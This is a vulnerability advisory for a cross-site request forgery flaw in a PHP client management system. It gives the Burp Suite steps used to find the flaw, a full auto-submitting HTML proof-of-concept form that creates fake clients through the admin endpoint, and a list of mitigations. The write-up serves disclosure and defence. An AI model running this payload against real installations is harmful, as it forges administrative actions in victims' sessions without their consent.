CVE-2025-44603 (CSRF Vulnerability: Leads to Creating Fake Clients)

Project Name & Repo URL : https://phpgurukul.com/client-management-system-using-php-mysql/

Vulnerability Name : Cross-Site Request Forgery(CSRF)

Affected Version : V1.2

Introduction

A Cross-Site Request Forgery (CSRF) vulnerability exists in the Add Client Functionality of the Client Management System developed by PHPGurukul. CSRF is an attack where an authenticated user is tricked into submitting a malicious request to a web application. This can lead to unauthorized actions being performed on behalf of the user . In this report, we demonstrate how CSRF can be used to create fake users in a Client Management System and suggest mitigation strategies.

Environment Setup

Locally hosted Client Management System using MySQL and PHP.
Functionality for adding clients and their services.

Steps to Exploit CSRF

Using provided credentials, log in to the Client Management System.

2. Add a New Client

Select Add Client option.
Enter the required client details.

Adding new client Enter the client details

3. Capture the Client Adding Request

Navigate to the Save button.
Set up Burp Suite to intercept requests.
Click Save and capture the HTTP request before it reaches the server.
Send the captured request to the Repeater tab without the session cookie for analysis.

Capturing the request in Burp Send to repeater

CSRF Code for fake Clients

Below is the HTML PoC for CSRF attack:

<html>
  <body>
    <form action="http://localhost/clientms/admin/add-client.php" method="POST">
      <input type="hidden" name="accounttype" value="Active Account" />
      <input type="hidden" name="cname" value="moulimurugan" />
      <input type="hidden" name="comname" value="kppr" />
      <input type="hidden" name="address" value="vijayamangalam" />
      <input type="hidden" name="city" value="erode" />
      <input type="hidden" name="state" value="tamil" />
      <input type="hidden" name="zcode" value="638026" />
      <input type="hidden" name="wphnumber" value="968560710" />
      <input type="hidden" name="cellphnumber" value="6931052465" />
      <input type="hidden" name="ophnumber" value="9638560410" />
      <input type="hidden" name="email" value="[email protected]" />
      <input type="hidden" name="password" value="moulimurugan" />
      <input type="hidden" name="websiteadd" value="clientmsdb" />
      <input type="hidden" name="notes" value="Nil" />
      <input type="hidden" name="submit" value="" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Creating Fake Clients

Modify existing details to create fake Clients

Adding fake user 1 Adding fake user 2

Testing the CSRF PoC

Open the generated CSRF PoC link in a browser.
The webpage opens with a Submit button.
Click Submit, and the request executes, creating fake clients.

Open PoC in browser Hit submit request

Confirming Fake Clients Creation

After submission, fake clients appear in the admin dashboard.

Fake clients created Multiple users created

Mitigation Strategies

To prevent CSRF attacks, implement the following measures:

CSRF Tokens
- Use anti-CSRF tokens in all form submissions and verify them on the server-side.
SameSite Cookies
- Set session cookies with SameSite=Strict or SameSite=Lax attributes.
Referer and Origin Header Validation
- Validate the Referer and Origin headers before processing requests .
User Authentication Checks
- Require CAPTCHAs for critical actions to prevent automated attacks .
Restrict HTTP Methods
- Use POST for sensitive actions and avoid processing GET requests with side effects .

Conclusion

This report demonstrates how CSRF vulnerabilities can be exploited to create unauthorized Clients in a Client Management System. Implementing the suggested mitigation strategies will help secure the application against such attacks.

CVE-2025-44603-CSRF-Leads_to_Create_FakeUsers

Most Popular